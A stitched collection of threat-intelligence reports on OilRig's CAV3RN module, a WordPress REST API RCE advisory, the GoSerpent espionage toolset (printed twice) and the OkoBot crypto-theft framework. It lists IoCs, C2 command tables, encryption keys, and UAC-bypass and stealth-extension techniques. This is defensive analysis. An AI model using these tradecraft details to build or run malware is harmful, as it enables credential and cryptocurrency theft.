OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
CAF021DDA726B8BA049C2AA395E505A1 AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806 NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678 AzureCommunication.dll
cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205
TL;DR: A critical pre-authentication Remote Code Execution (RCE) vulnerability, dubbed “wp2shell” (CVE-2026-63030), has been identified in WordPress Core. This vulnerability allows an unauthenticated attacker to execute arbitrary code on a vulnerable WordPress installation without any preconditions, such as plugins or specific configurations.
Given that WordPress powers over 500 million websites, this vulnerability poses a significant risk to the global web ecosystem.
The vulnerability exists within the WordPress REST API, specifically affecting the /wp-json/batch/v1 and ?rest_route=/batch/v1 endpoints. An unauthenticated attacker can exploit this endpoint to achieve RCE.
Affected WordPress Versions:
(Note: WordPress versions older than 6.9.0 are not affected by this specific vulnerability.)
Imperva customers with both Cloud WAF and WAF-GW deployments are protected against exploitation attempts associated with the “wp2shell” vulnerability. Cloud WAF automatically inspects and blocks requests targeting the vulnerable REST API endpoints at the edge, mitigating the risk before it reaches your backend services.
For organizations utilizing WAF-GW, we are providing policy updates to further harden protection. Administrators should apply the latest security policy updates to their WAF-GW environments to ensure these enhanced inspection capabilities are active. These updates provide another layer of defense, blocking the specific patterns associated with unauthorized batch API access before they can be processed by the WordPress core.
While Imperva provides protection at the edge, we strongly recommend that all WordPress administrators take the following steps:
Note: These mitigation measures may impact legitimate site functionality and should only be used as a temporary stopgap until you are able to perform the necessary software updates. For more technical details regarding the vulnerability discovery, please refer to the official research advisory from Searchlight Cyber.
The post Imperva Customers Protected Against “wp2shell” Pre-Authentication RCE in WordPress Core appeared first on Blog.
A technical analysis of three chained zero-day vulnerabilities in Siemens ROX II OT switches that allow privilege escalation and persistent root access.
The post Three Steps to the Terminal: A Siemens ROX II Zero-Day Trilogy appeared first on Unit 42.
In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.
During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.
Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.
We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.
What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.
In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.
The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.
The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.
This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.
The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.
GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:
| Command | Symbol (as derived from corresponding function names) | Description |
| 2BA1 | Sync | Respond to the server to show the infection is active |
| 3BA2 | Exit | Exit process |
| 4BA3 | Ls | Start listening on a port |
| 5BA4 | Connect | Connect to a remote server |
| 6BA5 | Hello | Create a shell on the infected machine |
| 7BA6 | Ul | Upload a file or directory to the server |
| 8BA7 | Dl | Download from the server |
| 9BA8 | Ss5 | Start a SOCKS5 proxy on the infected machine |
| ABA9 | Cl | Close a listening port |
| CBAB | RF | Forward to a connected node |
GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.
McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.
Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.
Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.
The tool shares core functionalities with GoSerpent, including:
Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.
ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.
The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.
The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:
These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.
After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.
Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:
Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:
{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration fileTmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.
TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.
The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.
TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.
It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.
What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:
thumbcache_605a.db database file.thumbcache_605a.db.This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.
The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.
While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.
The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.
GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8
McMx
D6E86BF8A90E9B632ADD5FA495F97FBC
ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C
Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162
TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E
152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226
In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.
During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.
Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.
We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.
What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.
In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.
The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.
The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.
This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.
The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.
GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:
| Command | Symbol (as derived from corresponding function names) | Description |
| 2BA1 | Sync | Respond to the server to show the infection is active |
| 3BA2 | Exit | Exit process |
| 4BA3 | Ls | Start listening on a port |
| 5BA4 | Connect | Connect to a remote server |
| 6BA5 | Hello | Create a shell on the infected machine |
| 7BA6 | Ul | Upload a file or directory to the server |
| 8BA7 | Dl | Download from the server |
| 9BA8 | Ss5 | Start a SOCKS5 proxy on the infected machine |
| ABA9 | Cl | Close a listening port |
| CBAB | RF | Forward to a connected node |
GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.
McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.
Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.
Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.
The tool shares core functionalities with GoSerpent, including:
Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.
ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.
The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.
The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:
These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.
After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.
Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:
Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:
{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration fileTmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.
TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.
The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.
TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.
It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.
What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:
thumbcache_605a.db database file.thumbcache_605a.db.This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.
The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.
While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.
The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.
GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8
McMx
D6E86BF8A90E9B632ADD5FA495F97FBC
ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C
Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162
TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E
152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226
TuxBot v3 Evolution, an IoT botnet framework built with LLMs. Read our analysis of its cross-compiled binaries, C2 architecture and bugs.
The post TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development appeared first on Unit 42.
In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.
Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.
TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.
Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.
We dubbed this updated TookPS campaign “OkoBot”.
Original OkoBot infection chain
We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.
New OkoBot infection chain
The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.
Malicious application distribution report
This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.
Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.
The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:
termsrv.dll with a patched one to permit multiple concurrent RDP sessionsApple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hourAfter that, the SSH bot begins retrieving malicious modules over SFTP.
One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.
At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.
Example output of HDUtil enumeration commands
The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.
Below is the list of all HDUtil commands.
| Command | Description |
| target [nouac [user=<user>]] [noattach] <file> | Starts file and prints its output. If optional argument noattach passed, command to be executed in background. If optional argument nouac passed, automatic UAC bypass to be performed. If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen. |
| pcopy <file> <dir_src> <dir_dst> | Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot. |
| enumadapters | Prints names of graphical adapters on current system. Not used by SSH bot. |
| enumsessions | Prints all sessions on current system. Not used by SSH bot. |
The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.
The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.
Setting up protections on the regions and launching the implant
This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.
List of the functions hooked by the malware
Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.
The loader replaces the functions it finds with its own
When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.
During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.
Extensions are unpacked into a non-default directory
All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.
The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.
Stub for hiding malicious extensions
During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.
The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.
Decrypting implant using AES GCM and subsequent mapping
The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:
| Task index | Action |
| 1 | Reconfigure client: update session keys, assign ID, switch to another C2 |
| 2 | Load DLL implant into memory and run its entry point |
| 3 | Load plugin into process and register tasks with RegisterPlugin function |
| 4 | Restart dispatcher as new process |
| x | If the task number is none of the above, search for it among the registered plugins |
Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.
Resolving a plugin initialization function
During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.
We identified four malicious implants that are delivered to the system via the process injector plugin.
The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.
Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.
List of functions hooked by the malware
Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.
When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.
Phishing pages for seed phrase recovery
The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.
This module is a keylogger that, in addition to recording user input, performs three malicious activities:
